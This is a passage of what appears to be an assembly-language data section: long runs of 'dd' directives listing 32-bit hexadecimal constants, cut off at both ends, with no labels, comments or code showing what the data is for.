471738E9h, 40A4713h dd 0C82C828Ch, 0A5BF39D6h, 0C3D5AC2h, 2DFD43D4h, 2E1BAF8Ah dd 0C00C056Ah, 95CC988Dh, 0E950AB80h, 70B9AD26h, 9F6513BCh dd 68E049FCh, 7B9F7073h, 0C3CD4239h, 8257F79h, 0EA0294D4h dd 5701CA26h, 0A1DAB70Ch, 4B6D0F39h, 17750EF4h, 0A97F8206h dd 0DF0979AFh, 90011070h, 9EA98611h, 7DEF87A3h, 53695F29h dd 692C2F45h, 5E7FE958h, 0A2AEB808h, 23C200D5h, 6100C777h dd 6853EA01h, 37ED1670h, 9F8A5B51h, 29302AA2h, 5D61B07Dh dd 405FB057h, 5E4B5498h, 6785FF7h, 0D14D6E6Fh, 8F00B8E5h dd 12D540Dh, 64A0E9F5h, 0A0303A67h, 81F39C34h, 68AEBCDh dd 2D301DB4h, 730A13E8h, 0C4931775h, 0D33EF253h, 0CC8FEA9h dd 1961A288h, 2B93405Ah, 59268931h, 1205AD6Dh, 0AB052E42h dd 80B85A17h, 4C741704h, 2AB78E16h, 455AC8A2h, 0B2FA0DC1h dd 0E629FE05h, 6A7C50F9h, 7AF1BE00h, 0EEC10E7Fh, 0ED6F809Fh dd 98622C2Dh, 63531877h, 8AEF7C71h, 4FFB7458h, 7C482DBDh dd 0F7708014h, 1863F0A5h, 7F8E75Ah, 0C8F187A1h, 0D92DE9CFh dd 20776606h, 2D4B11F6h, 0D8683E42h, 8075D131h, 271A0D75h dd 0CF32E945h, 0FD5160B0h, 0C22DFEEEh, 0F06DE4A7h, 0FCCBE97h dd 0D8E5FB89h, 0DE75AE0Eh, 604C1EE8h, 68131C30h, 46B71D05h dd 67905E1h, 0AA4B0277h, 12685628h, 3930DD2h, 0D0C0E941h dd 55E77114h, 67A501E5h, 0EAD11266h, 16FC57Eh, 5E09D072h dd 0FAD8DB7Ch, 733A2AD5h, 0EE8D5A89h, 0E9B2887Fh, 14E86F2Dh dd 0CFB400CFh, 8007ECC0h, 0E4ECA8F4h, 707B0CDEh, 5C4E0BDh dd 37FBB50Eh, 0B518D549h, 5D523D68h, 55985A0Ch, 286341EFh dd 0E2C1A073h, 0DD8C005h, 0E92ADF02h, 85AAF426h, 0CCE1BDBFh dd 3D47043Dh, 0AA822E1Fh, 630D41E9h, 0B5C340D0h, 0A906FF29h dd 0CA130F83h, 0B132959h, 2F9229ABh, 8784DBF2h, 0C6BB0957h dd 2056906Ch, 5E28EDB5h, 0B619C951h, 3D26B72h, 0EB9EF42Fh dd 2821BE3Ah, 0D422E336h, 42D96287h, 6800A7D1h, 1FFC62E2h dd 9525F22h, 442B973Ch, 60B1CCDEh, 8540033Bh, 543CA81h dd 0E915F978h, 4BE7AC89h, 0CA10FEA7h, 50642DFCh, 0C9236B90h dd 34FC807Fh, 95979F6Bh, 14418A92h, 495302B9h, 39680F6Bh dd 1E07F641h, 66EE37B2h, 0D2D19FFFh, 976CFA60h, 6F0B9D56h dd 586121E6h, 22A46837h, 0FD09313Fh, 0C8FF04DCh, 7C6FEEC7h dd 50E2E913h, 66AC2F57h, 0D20155DCh, 0E53093B5h, 9DAB36FCh dd 0A5EB5D90h, 454E0E7Dh, 9457F3C0h, 7DE92772h, 45658C09h dd 0BBC9869Fh, 626D5949h, 78ABAB2Ch, 0B571E7FAh, 386B9086h dd 32D54A6h, 0D5032270h, 0F725F82Bh, 8E7C0D7h, 498C374Eh dd 22FBA01Eh, 515E1793h, 5476E2DEh, 201EF4Fh, 6E072DF8h dd 936059BCh, 0F688A6E1h, 36C10737h, 0D2F13167h, 59A87E8Ah dd 50BC0289h, 28F70F4Bh, 0C30083Bh, 5DC55D06h, 1016BD51h dd 8F35F256h, 0B3B37705h, 12E8C100h, 3868C831h, 99CD154Ah dd 0B30097DDh, 0EB38804Bh, 0F9C5CBDh, 3C59EC88h, 85E1CBFFh dd 3EC5B07Fh, 0FB40955Ah, 553A1EC7h, 0B0529818h, 7D2C3CA0h dd 9AF073B2h, 178B5D0Bh, 0CEDD320Ch, 0F41E4616h, 7CBEDC24h dd 4C98E98Ch, 889D2DABh, 0E25AA4A0h, 4F2B58CCh, 0C23DA5EBh dd 2D7682CAh, 0F85DFA5Bh, 0C188251Eh, 586572F8h, 0C1E842F8h dd 4BB42818h, 16144ABEh, 7DA189Bh, 1C5F45A4h, 7019C660h dd 418E9D5Bh, 732587E8h, 4FC11001h, 0FBE93A70h, 79E497F9h dd 3E87E0B5h, 0FE6076EDh, 25785BA8h, 7DBCF421h, 3ED1BF4Bh dd 6436186h, 41CDC8Ch, 0C15A66F1h, 2F6A2D45h, 6851B030h dd 0FC534EE0h, 54BECAF4h, 52787EADh, 6049B852h, 36A85A0Ch dd 5821E3A7h, 27041D5Ah, 27FEC19Ch, 94AE8447h, 0D087F3DEh dd 0CFB6126Dh, 684538BAh, 6F167632h, 2F67AD1h, 454DF2EFh dd 0D441013Ah, 0C20844C7h, 5F028D34h, 83AF629h, 0DE275E7Bh dd 0F67427BAh, 57C1AE3Dh, 46060493h, 17CB71BCh, 0AA5A5DEEh dd 4A80DA16h, 48B3D825h, 7245B9Fh, 0E83D122Bh, 8C328EBh dd 8173E92Fh, 518BBECEh, 5C03FFC6h, 2C832EE8h, 1627A406h dd 0FEC0725Ah, 12AC1E5Eh, 9A9E15E9h, 0F373F939h, 687FE8EAh dd 0F4260999h, 2B005E4Eh, 43B1B86h, 49F08E9Dh, 4E21F2F6h dd 7154F077h, 58B98295h, 5BFBFE53h, 7E6847FCh, 94AF0D1Ah dd 53A7BD0Ah, 5427E8A5h, 5F834096h, 0AB9643D4h, 326F42Fh dd 19723C35h, 3ECCF5B0h, 5525EE98h, 9636F4BDh, 0FD53EA29h dd 366FB4D7h, 33E2C097h, 0FEE0EEF6h, 0AD056917h, 3A5DE449h dd 0E6627AE1h, 4B0FDB12h, 0B4FFC75Fh, 0D648B73Eh, 0DF046BF1h dd 68C5E92Bh, 587F12F5h, 4DCD223Ah, 2624839h, 0A90DB935h dd 86BD6266h, 60A63372h, 96F339E5h, 9DE12C57h, 4B8C0B44h dd 14AE0C1Bh, 98747737h, 8060433h, 0CC663004h, 0C1FE2CA9h dd 3E653D58h, 0E07B589Dh, 8AC14D81h, 2F90F07Dh, 0AA1AB16Eh dd 0FFB6CEF7h, 74BF5212h, 0C9DCEAF1h, 2FA7417Bh, 5BA17811h dd 5065F5A0h, 2F5F6BAh, 44F763BFh, 4FD6D2E9h, 0DC5B07AEh dd 22B79DEFh, 0EB96DDD5h, 0C5D274E8h, 4C39EBDEh, 9E852D54h dd 57052D0Bh, 0AB2D27A5h, 0E3A831D5h, 4E827B1h, 5D579001h dd 162E4FDDh, 0DB04EF21h, 53BAD831h, 85FA6083h, 1DA0C89Eh dd 0FD2F2BF2h, 2BB4C60h, 3EAE1779h, 4075E1C1h, 0F670D435h dd 4AE93D2Dh, 9F05B3DAh, 68AD54BDh, 1523B831h, 3B636E78h dd 3AEC91D2h, 16227D52h, 0F5F3B890h, 0CD5FCD3Ah, 0E1F209D5h dd 0F8613AF2h, 5100AE5Dh, 0E8F9ACB9h, 0A1B52150h, 0F20F54C6h dd 0D6B1C07Fh, 0D8C07546h, 7CE89AF5h, 0F060BD4Ch, 551C5253h dd 48A4CCE9h, 2F089F40h, 4E9DF6FEh, 0B343ECB8h, 0D95EF151h dd 57971C8Bh, 0FB0CD96h, 41D271B7h, 0C9D5875Dh, 0B1AF71FAh dd 0EA311008h, 0D00487CAh, 0E905C284h, 0B2AF41AFh, 60D528BCh dd 0ED4E806Eh, 0E99750C0h, 3F0EB60Fh, 0FEA5EBBBh, 4CB578F0h dd 0BB65A99h, 820259BAh, 0C9D114A4h, 119B9Ah, 4A317EA3h dd 0E805FD4Ch, 0CE8704E8h, 8EAFB3B5h, 10D64C70h, 0BB02ED28h dd 40833274h, 0A570F841h, 19090Dh, 243895F9h, 0CF01284Bh dd 0E90880A7h, 32B84E80h, 0CDEA11FCh, 0FBAE32EEh, 8A6FD141h dd 56A34FD2h, 9EDF5CCBh, 8FB92AF9h, 0FC215091h, 95644343h dd 0BE1CC57Eh, 613B61CDh, 98D338h, 0EC1DFEBAh, 0E2D12F19h dd 494020E2h, 1895564Dh, 3E206EDAh, 4FA74146h, 515D36C0h dd 27685602h, 6C11266Fh, 7C5DB07Fh, 73F927F3h, 0E6554DE2h dd 41707EEh, 0E7D6F76Ah, 0AFC8BBE6h, 78975CFFh, 81969319h dd 0E1E9E6D1h, 54906F67h, 58D206BFh, 0F205FE3Ah, 0AA3CB6EAh dd 0F8E36D81h, 0F9212683h, 8C9C15Fh, 65723149h, 7C092AE7h dd 0D78157DEh, 0B179CC6Ch, 5AA24A8Ah, 0CE30AEFDh, 8A9196F2h dd 0A78575D0h, 8F62137Eh, 48255ED7h, 8CA30899h, 2C5F6801h dd 0E12C674Ah, 190735A0h, 2D072671h, 0C3403B6h, 3831A6A1h dd 5FA9E9F8h, 98BBE205h, 1373BE7Bh, 0AC267577h, 75BCDA3Eh dd 54EAFAA7h, 7640EBB0h dd 0FB5ADC6h, 16E91A6Ch, 8676D16Fh, 8D01644Fh, 891201CAh dd 0D3009EAh, 39B5BA22h, 0A20F8B5Fh, 0FD11DEE0h, 2FCACE9Bh dd 6575DFEAh, 0D8F9AEAh, 3F09EBFCh, 0B5A1DF06h, 8025EFF6h dd 19CFEE0Ah, 9E3AD668h, 0BDA74FD3h, 0F522CC86h, 0B0602F3Ch dd 54E50E45h, 0ED0AC35Fh, 0ACE4379Ch, 4FE05B28h, 22F7E4Ch dd 0E9192235h, 1C5492CAh, 0D2645552h, 3BC23920h, 260F1BBDh dd 49644573h, 66DDD7DDh, 0DB4F18Ch, 0CDF733A8h, 0EBE67BEBh dd 9A3FC93h, 8922B067h, 95A554A5h, 804EAC60h, 45FDDC93h dd 0D931B71Fh, 5482648Bh, 13EFC2B3h, 6870637Ch, 2F93BDF9h dd 0E38CBAFDh, 0EC645E36h, 0D2DAC4A7h, 37F50113h, 3B172E16h dd 0E1A847C5h, 0C49393DFh, 0C781AA3Fh, 8104A27Ch, 0CC26C3E8h dd 0F3ECE4CBh, 0DA88EE0Fh, 0A2E2865Bh, 0FEC52706h, 0ED85C6E1h dd 2DE9F4C2h, 2FF690A9h, 4E907844h, 91D3BABDh, 0FEB049h dd 4195840Fh, 4FAA416Fh, 0D2FF6902h, 0C92B5FEBh, 32D76BAAh dd 8BFBDE07h, 967D8EA1h, 3F7B9711h, 630B9B60h, 531AB530h dd 0F46A6440h, 0E9CF9C09h, 0BBFFC002h, 0EED8094Fh, 2A7E3196h dd 54AA5EAFh, 1C5F2113h, 0A803EF38h, 48F0688Dh, 7ED88151h dd 0A32615D2h, 9399D73h, 0B1961h, 4D71D79Eh, 9F902Eh, 0F136ADE4h dd 0F75EF589h, 0C4E9DD4Bh, 53790C78h, 88D60ADEh, 0F936B616h dd 3A691FF8h, 0D0DD297Dh, 0B516208Fh, 1F1D0B7h, 0DEF6EDB6h dd 0D5BFE680h, 39C6D4D6h, 8A1BEEF0h, 0AD10CE28h, 0EBEB708h dd 13E4D5F6h, 689E9073h, 882B7734h, 0E905FA1Fh, 4AFDA6B2h dd 401D4A77h, 0AC685084h, 3B00046Eh, 2BD82D58h, 9C89FDB2h dd 0CEA53E13h, 2A0A6E6h, 0FABC7CF0h, 0BE4F2A82h, 209D0074h dd 687B0DE5h, 0C9A3364Fh, 543ED704h, 530810Ah, 0A0BD515Bh dd 0F4CC7C1Bh, 0C7449AC8h, 0A01EB911h, 0CB315CEEh, 56F9595Eh dd 4080D42Fh, 0EF20ADBAh, 0A96BBEF4h, 0A906570Bh, 872CED1Eh dd 84680FEh, 90506407h, 2ABF0090h, 4C03A126h, 277D204Fh dd 27A2C86Fh, 570B795Dh, 0D0123AB3h, 38EFE4A7h, 0B00050E5h dd 2870B617h, 265158C6h, 12651BB1h, 0FD1EF460h, 24A56C0Bh dd 42FB864Dh, 0F222A006h, 30A204Fh, 7B21CE13h, 0FC692B90h dd 0C86600Ch, 462704D5h, 0E93540B7h, 8001406Dh, 9C43CF39h dd 0F81FC7F7h, 4F838755h, 52CB0CB8h, 0FCB2281Bh, 6EED0505h dd 1101AC4Bh, 0C20E585h, 104C6734h, 86D36EEh, 352F9B6h dd 136F6A9Bh, 0AE26F177h, 6CDFC81Eh, 5E6BEDAEh, 0D81047CEh dd 56B82500h, 272D153Fh, 40F6520Ch, 5A5A6C62h, 1844035Bh dd 60BA30D9h, 6E480B4Eh, 0C98180F3h, 0B4662F7h, 0AFDCBBA2h dd 0AD59792Dh, 2C4C27Eh, 33581FE2h, 13AEDA5Bh, 7C934EE9h dd 0B84DD8EDh, 0D5F70159h, 0E901C583h, 27F72C9Eh, 6EEB0141h dd 928344B4h, 4F921225h, 26F80C4Ch, 0C101818Bh, 0D75741BCh dd 686AF03Bh, 0B0157F20h, 0E88E41B1h, 15C46B9Dh, 0F167685h dd 4A090AB8h, 0D9B434D8h, 0F5987302h, 506CDCD5h, 0E258CEE9h dd 0C057CA57h, 0E5998342h, 0D8F7094Eh, 0C2038F75h, 8475C62Ah dd 0BD0054D4h, 13AD6080h, 6E4982A0h, 122AA25Ch, 0FF6072E5h dd 99C3E10h, 0DFBBE961h, 0EBD10948h, 414E4B7Ah, 0EDC07A80h dd 706C004h, 2834C580h, 85CCE858h, 3CB49436h, 4C7B702Ch dd 4201D038h, 0E90FE547h, 0AFE72E89h, 0F6582A13h, 0E572429h dd 76A74F2Ch, 0BB72C94Bh, 0E2365A02h, 78FFE976h, 68F3B547h dd 35E90FCCh, 0C0DB4ADBh, 0B50D956Ch, 0F1B12AEFh, 71289000h dd 5A2C65B7h, 4FCB8A6Dh, 0C384D2BDh, 1A816D9h, 622AC04Bh dd 9ACBCE1Eh, 4BFA51F9h, 0AEBC147Fh, 496817AFh, 252CC58h dd 36DC5F4Fh, 5EDB7D09h, 283E8014h, 43D75AD3h, 6D9FA8A9h dd 2B1AF9D0h, 5F1772E9h, 94497E07h, 3D81A8BAh, 0AA3D6F01h dd 559DFDBEh, 0C1A8E096h, 0C24AD6A6h, 680B8BE3h, 18DF2EF7h dd 126FBF8Bh, 80708C0h, 0C789E156h, 0C2B35402h, 0B09B90E0h dd 0BE091AC1h, 1260D849h, 2CE8A196h, 935D5089h, 0B91E1924h dd 0F4D0FFEFh, 0FB2C065h, 5647F700h, 70E78162h, 0A8394B69h dd 0C8B60680h, 5F7886B2h, 0EB5537A4h, 12BF1074h, 0F6B76ED3h dd 966D444Bh, 0C582EC05h, 0D8AB85B2h, 0DE49C204h, 0ED790546h dd 98BC2A2Dh, 9D22926h, 9DE8AF12h, 5B80F038h, 4E004C0h dd 0EB88912Ch, 0CBE99861h, 0B72D7F74h, 4365E82Bh, 0B0D8290Bh dd 1294BBE2h, 0BB3F5A3Eh, 3EC5C914h, 33629740h, 30368F00h dd 914669C8h, 0B7AF0282h, 307071B1h, 18176815h, 0D7AC10F6h dd 0B7F8BE40h, 4866C1C1h, 495A3588h, 55FEE29Dh, 2527E2C4h dd 8A941849h, 0D58E7B13h, 775E9C4Ch, 0D3A4D236h, 2E17A168h dd 0D839F72Fh, 0C80D95FEh, 3240FE6Fh, 95056BE7h, 860DE977h dd 0B14F9BF4h, 0B2C11765h, 0B7AA7BE8h, 0F5058F5Eh, 55F1A162h dd 7113E115h, 0E07952BBh, 0AC487AA0h, 2B68CE12h, 46C62Ch dd 497F671Fh, 8108EFC1h, 7D7AF700h, 61E936A6h, 803CC388h dd 0F69901EEh, 880CA846h, 3B4CF920h, 67FDF231h, 96F80FB6h dd 574E08C7h, 271BF3A8h, 17B09DCAh, 97C8C5h, 515087B0h dd 0ABD2971Dh, 82590881h, 5D20421Eh, 75285564h, 68570708h dd 0C55F2F0h, 29171857h, 411D6FAh, 0E2CEF492h, 194A78DDh dd 25B12100h, 3980D9F6h, 0C99634C1h, 4EBAE233h, 0CE28EBFCh dd 8EB32C57h, 8831133Fh, 734FFBA8h, 616E1B46h, 0EAC2012Dh dd 1D36FACh, 9F3B41D5h, 0CBEA0582h, 59FD40EBh, 794A4214h dd 0D5D34E6h, 0A2E99F06h, 82799427h, 0C3618724h, 0A5C90DF4h dd 4E045478h, 0D218C6F9h, 0C948FE06h, 0C12044h, 0D013A2BBh dd 5BDA29F5h, 0A5C0524Fh, 5B142B27h, 121BC450h, 6978E307h dd 0EB0698AAh, 8FF582FCh, 2DE7683Dh, 0CF561848h, 4E88083h dd 51590B5Fh, 58043CB1h, 40F81396h, 0D5C24C73h, 0ABEF5E85h dd 4DCF7E8Ch, 0F13FE7F4h, 0B8647C92h, 7EC3CB35h, 0A8D569BBh dd 2A02A103h, 5763CA04h, 68E9BF01h, 58A72851h, 8CEBB54Ah dd 0B35E9E1h, 60EF2A5Dh, 79B7538Ch, 0FD9C07BFh, 9CE9D700h dd 4B4F94A4h, 0C4239901h, 7D2BF45Eh, 12BB5380h, 0BA292226h dd 443EE09h, 71E706A4h, 0AFC33117h, 5FE64031h, 464FEC0Ch dd 77A6E1BCh, 3CBFB538h, 4CD84AEBh, 3A924154h, 5561C801h dd 0B9FD6521h, 0B0EA15E0h, 0C91F2085h, 3A75A4Ch, 496B7283h dd 55B5EF4Eh, 9B5095C8h, 25B521C4h, 79B37450h, 6816BE22h dd 0E7C96AD1h, 52625F20h, 540687F2h, 8A498C3Eh, 0D00D506Bh dd 22E0B702h, 2D81CED7h, 42F9A52Fh, 0C5DDB5B3h, 65DE2645h dd 5BA092EAh, 8B93EFFDh, 96766994h, 26A038BFh, 7CA5D2B0h dd 0C04B88C2h, 280FF420h, 695AD488h, 67A05F75h, 0F34BBDE7h dd 2FE1A58h, 0F79EFE4Ch, 89275E05h, 612BCDE9h, 4A1E965Fh dd 0A374C220h, 0D2A3BBFDh, 27BEF8C5h, 4024C828h, 2ACAF1FCh dd 0C404C5BDh, 0A8E0828Fh, 53E90B40h, 31EBEDF9h, 81729447h dd 0F64FED25h, 823A0B23h, 0B85C282Bh, 9D05AD01h, 0C3CAA102h dd 73CE9BDh, 0AC07242Eh, 4201D3A0h, 69091BDDh, 817A9E46h dd 9C6A5808h, 8FDD5DC6h, 2A9EC049h, 56151F03h, 0D64530A9h dd 0C58906F0h, 0D8DB09D0h, 262E683Fh, 1C69C45Ch, 52FF949Fh dd 1823580h, 4901E7Ah, 0F346B009h, 249058F4h, 8808F755h dd 68044F97h, 2CFA313Fh, 0F54A29C7h, 877D28EEh, 0B9B8D395h dd 937E3ACh dd 16684ADEh, 4B3D060Fh, 0BBCC9303h, 966A3B89h, 9CBE5894h dd 0C83AE98Bh, 0F6B2C578h, 0DA7B507Ch, 3690BAFh, 0A751582Dh dd 514974ADh, 1CB3C62h, 31B3CB8h, 0F2F0915h, 5900F176h dd 0D4E92A7Eh, 0F626FB6Bh, 3B6602D7h, 0C8401D7Ch, 32807C0h dd 0F613E974h, 0BC0610E2h, 7DCC59C8h, 52D62E0Ch, 99E905A8h dd 0D6B8A367h, 0D5A57D82h, 548F8985h, 125AD610h, 0C664FAB4h dd 414D5AC8h, 92143090h, 12FCB638h, 0C1AA59CEh, 6B5BFD28h dd 0B1CD8380h, 38B61752h, 0E0250C53h, 40EA0538h, 8965B40Fh dd 0C89589C1h, 2F9DE1C5h, 52D0D967h, 0F342273Eh, 0DEDE8969h dd 0B0D00BDh, 2D483B5Ah, 0CDA008FEh, 8D690FE9h, 0C8650E93h dd 68023B44h, 70605C38h, 40280F47h, 0A97A7C02h, 50DAE978h dd 5B9376F9h, 0BFBA0043h, 2D6F71DDh, 4203B3B8h, 0D11B9F32h dd 47D7B9E7h, 7CD406A5h, 0FE460800h, 819DA1E9h, 82C2B85Ah dd 112D52Ch, 8D888F9h, 0C98C7E25h, 98EE1E5Fh, 54964073h dd 5F205B77h, 88019606h, 6812C57Ch, 6110FE01h, 2F632C8Bh dd 21FC901Bh, 1C945150h, 1266F9B5h, 9EF493Fh, 30DC15Fh dd 0E9C0213Eh, 8CC42BFDh, 5C28D28Bh, 0E96013EBh, 0C0D4C00Ch dd 800302EEh, 0F12809C6h, 0DB16855Ah, 719CAC21h, 9A6FB005h dd 0C4AFE7E1h, 371ABEAEh, 0E9B4FFBAh, 0B667E913h, 0B88A74A3h dd 6BC26298h, 974699F5h, 47909B45h, 48C9F180h, 0AE675528h dd 53F69004h, 0E0B5682Ch, 9F5C340Fh, 32A0CB9Ch, 3580BCE8h dd 672F1E55h, 0B16F9313h, 64F16E2Ch, 8B38ABE1h, 0E0A05D28h dd 75C688A4h, 236C4116h, 8B10D1FCh, 255C3B94h, 480CFA1Dh dd 0C50049EAh, 43177A2Dh, 3B12E381h, 0F700FE31h, 0DF6CD4F3h dd 51C8A03Ch, 0B830403h, 0AAE6C7E9h, 9DD798A2h, 83342A7Fh dd 0E90A07FDh, 929A5B64h, 0E2F2ECD7h, 6F5FDE8Ah, 3163D225h dd 39688409h, 0B72B10DDh, 0B5038583h, 3429FC95h, 0B4870604h dd 8700CAB4h, 0D7BF57FAh, 16B4B12h, 0B428B300h, 0FC29FE94h dd 97EAF6E9h, 58C4C1F9h, 0DD9C2AC1h, 6804E432h, 0BB6FC67Bh dd 45051380h, 0F8C73CD9h, 6798C132h, 95028308h, 59761B29h dd 253A3AEFh, 87E97D0Bh, 0BCFD04A9h, 58F99731h, 0DABBE989h dd 0A2F74E45h, 0AE5E3E0Ah, 9348AB3Eh, 71C9E512h, 51AD72Bh dd 0C4D3E868h, 51675DCh, 0E5BBE669h, 7317C9DAh, 25BE48D9h dd 91B8BFEh, 57D66241h, 0BE8EDA6Fh, 0E706F7B0h, 35A0F721h dd 0C56F6693h, 0EE0D9C0Dh, 0CB985D4Fh, 0F00CB8C6h, 0E371C0ADh dd 6E653463h, 5A01EBECh, 0E96BF766h, 2289B3E5h, 0FFD4CFEh dd 87AFDD74h, 0C3350B4Eh, 0C3F31B83h, 1EEEAFEBh, 4001FC6Dh dd 7F3C02BFh, 0C290316Eh, 0E1CE80C4h, 3C2C9585h, 7F929C4h dd 0C9390B8h, 0E859D221h, 1E55BED1h, 89622D45h, 0E253653Bh dd 7E521013h, 94FCCAABh, 9FB4AE0h, 0F9F25983h, 86B479B8h dd 0D8EE80E3h, 0C942B353h, 9586AEE6h, 5A66ECE2h, 140667EEh dd 94DE300Ah, 5C186420h, 0E3594431h, 8DC588D4h, 4C755505h dd 0CC82EB29h, 2D5802FEh, 16AC5057h, 0B9C23159h, 32049276h dd 0FB5D218h, 4B0E04A8h, 1973132Ah, 7AB25846h, 761053C5h dd 7E5B2F08h, 0EB0158FDh, 5396C95h, 621611C3h, 4143AD7Fh dd 0C9C64408h, 0EFDD6B49h, 17017120h, 0A10A2364h, 0DB002081h dd 16F50307h, 0F15B81E9h, 52F281ADh, 3E76B450h, 5196D405h dd 0CA1E3CA8h, 0B47A459h, 0F4D16841h, 0D5884B96h, 68E54006h dd 98615027h, 74A36A3h, 0DFF753DAh, 6463687h, 0DDC0D14Bh dd 4C965B65h, 0D7106915h, 5A5409DDh, 380DB57h, 6B854932h dd 1C90AAC4h, 4A7AB6D2h, 0B941AA94h, 55D8E950h, 584D869h dd 4801080h, 6DDD2D78h, 14964EC0h, 2174072Bh, 1B475AD7h dd 3E583180h, 889019EEh, 1AC5B609h, 0C70B554Ah, 694B2FD5h dd 0A0C556A9h, 2A6B97CFh, 3631EAF5h, 3865A8E9h, 2F81B56Eh dd 0DB056F90h, 6E8B0F0Bh, 0B985252Dh, 0CE8BC21Ch, 0DEEA8100h dd 37B3013h, 0BC51A60Ch, 1DF87C5Bh, 3C9D487Eh, 8FDE2B85h dd 0BFE05048h, 0ABC57D82h, 9C053190h, 0AD3F47E9h, 25F8D2C9h dd 0B107D44Ch, 6AC828AFh, 0F68D15A3h, 930AB65Fh, 92BFBCC5h dd 61688968h, 0B780C22Bh, 0FD882827h, 84FC5F8Dh, 8482ADA9h dd 6802A81Ah, 214670DFh, 515D1B97h, 0B1CB30Dh, 43272CE9h dd 127FA83Dh, 1403499Fh, 3E4C7F21h, 94C39A03h, 0E4252966h dd 5B7DFC55h, 0E6752082h, 4BDA28F7h, 5B50167Ch, 440EE095h dd 15D5A3Bh, 0A86B951h, 0F720084Eh, 0C496188Ah, 34BA30C1h dd 7E74DA2Fh, 9208A0EAh, 58499825h, 2C8460DDh, 7CCB1E95h dd 65E1AF3Eh, 8A45E06Dh, 0F1357FC8h, 0BFC914ECh, 62DD56CAh dd 7E0B40E5h, 0E0055E4Ch, 4A714360h, 0DE290100h, 17F32D5Bh dd 2803B85Fh, 970705F0h, 2547D3h, 0BB023B87h, 0ADAE9768h dd 8005F5A8h, 0EBC2D0E6h, 69C35F70h, 930FD9Dh, 0ACC8E952h dd 419FD82Eh, 0F62120A5h, 0EAC0D201h, 0D7B55106h, 0BCF3B5C3h dd 0F54A2825h, 0FFE51C85h, 0F92FB38Ah, 23C6DD09h, 0E2686612h dd 0C5AB2C05h, 4F3CBEE4h, 0C27C7402h, 0A15648C3h, 55964962h dd 56008A9Eh, 0DF5E6B68h, 0B6B1E90Dh, 91F717EAh, 23DA87Dh dd 59505DB9h, 0A0CB012Eh, 3038C45Ah, 0E2BD94E5h, 0D82F0B1Fh dd 0EAE6856h, 0B714F008h, 80F44B0Bh, 0BB10E66Ah, 25783459h dd 0F5D4A915h, 0C19B7C6Bh, 72F339E9h, 62DB01D5h, 0EE8109D7h dd 10D2CD3h, 82E9E215h, 945D9C4Ah, 4FFA90CDh, 82E396h dd 0AF566105h, 98D80133h, 0EB0883A4h, 26F0F9BDh, 0A12DB020h dd 0D9D85A07h, 7DAD1E23h, 19596F68h, 21A4B980h, 0B04974C3h dd 0D000950Ah, 9845C2Bh, 90BC5DEAh, 4BFDED81h, 99ED2A56h dd 0D95B0328h, 0FC616BFDh, 0B700DC05h, 0AB4EB5B6h, 52C9709h dd 5981E84Dh, 5D81CB4Eh, 0EB6462C2h, 301F2854h, 0A5EA1948h dd 0D66D09B6h, 1655D701h, 0E95C1DE7h, 0AD2264A4h, 0BD4A55F0h dd 39C7A990h, 76162767h, 44EFA9E1h, 0C2AFA208h, 61C801AEh dd 0E6ED86Fh, 270E4A0h, 564FD72Dh, 8C05745Ch, 0F265E7CCh dd 413D72F8h, 0FDA50Eh, 8076B24Fh, 0C04209CAh, 20DC07E2h dd 61EFB462h, 0C86F85EEh, 0FF64E924h, 63024806h, 0A8F4CC20h dd 0E292AD1Dh, 0DAE0C256h, 89DF82D5h, 0D2897E1Ah, 24B130C1h dd 38B1D3FCh, 950F15h, 8891F380h, 0E7F65BD9h, 9554B8F4h dd 7D56A3BAh, 0E3385AC3h, 0C101996Ah, 30B808A4h, 0CF8DAF08h dd 91A27BE1h, 1C91B9B4h, 93203068h, 593F8930h, 14AB3157h dd 1FEEE76Fh, 0A1A00868h, 42350145h, 56971FBCh, 106FFDB6h dd 158CEE5h, 0E68BBD27h, 0B79716DDh, 0FBAFC9EDh, 0B6F37BFh dd 0E9D00F54h, 0BBD9BC13h, 0E96E4E72h, 797D8440h, 393C4B9h dd 0D12DED12h, 2F678095h, 434E3D0Fh, 0A12EE86h, 64B05A8Fh dd 342D05A8h, 0E1BE00D5h, 451321EAh, 0FB1A4960h, 6B12B4C8h dd 85AB3801h, 0F100E7E6h, 31136778h, 4AB2E9FBh, 9C13E34Ch dd 2703E3D7h, 4CAF54E9h, 1D7349C1h, 0DE643805h, 655535Dh dd 119B1BFDh, 87EA2FCh, 0E52A016Ah, 2DEB4208h, 0AFBC5B5Eh dd 5C7C8490h, 317C2FA3h, 0D12B9A8Eh, 96FBBD5Ah, 17348AF4h dd 6D2C7681h, 2FF93ADDh, 0F4ACB624h, 0E014F88Ch, 0A10474D8h dd 0CC2A31D3h, 2DD7C975h, 3EE840BEh, 6859B326h, 0DB77BA2Ah dd 3645E620h, 863EC6BBh, 0AEC4D364h, 4C5EF7D8h, 0BD07ED55h dd 4020CF3Fh, 0DF30C047h dd 0AA5CE912h, 0EA7995BFh, 440465C5h, 0ACA5BE14h, 292EF06Eh dd 10A07903h, 5E2DF581h, 802C840Dh, 0D717D887h, 0AEA54E5Ah dd 0F55E0802h, 803F8616h, 79680BC3h, 5987F08h, 0E212D0B0h dd 0EE4E8FE9h, 1EA89250h, 0A45A325Fh, 2A8530CBh, 0CF19B001h dd 9E060E04h, 348E058Ch, 302C10B8h, 0C61C1780h, 188CAA08h dd 8515B31h, 188C41A6h, 87081A0Fh, 75189A63h, 990818BDh dd 53A61829h, 34108C4h, 20B8EE06h, 20763E20h, 0BF202E58h dd 91B16F66h, 0B13D9A88h, 864D082Ch, 8864EF01h, 0C91CA20h dd 7A105F23h, 63213D40h, 71DD0845h, 4EE31810h, 91132719h dd 0D1188CE7h, 40AA08CBh, 0DB401252h, 48F1C6ABh, 94059F6h dd 2A91C5AFh, 4A804CB0h, 586ED908h, 0DCD0818h, 0F5104641h dd 0F21D018Dh, 2A6DB053h, 3188C208h, 5D10574Ch, 18100352h dd 883FE49h, 0F2839DA9h, 40F60215h, 216DA02h, 6503233Fh dd 45481959h, 0BD24D9AAh, 82DB118h, 1888FDAEh, 860C71A1h dd 63CF10E9h, 38B00861h, 10827131h, 888F165h, 0E33967C1h dd 18E23891h, 8EC5610h, 0F80D1E0h, 0D40C8055h, 80913E80h dd 38C65108h, 24089425h, 9010F7A4h, 143524C5h, 2371A398h dd 0F169DC2Eh, 88C36B08h, 0C95D018h, 2D10D3D9h, 568AA0A8h dd 0BEBD08C6h, 7739C649h, 0B4320870h, 293E965h, 31038B80h dd 73F9204Ch, 8841433h, 0E429189Ah, 0C9BA084Eh, 80AEEA80h dd 28C49BBCh, 4D0456ACh, 0F0D60AC8h, 88F7788h, 21088949h dd 54320CB1h, 0DCA86E08h, 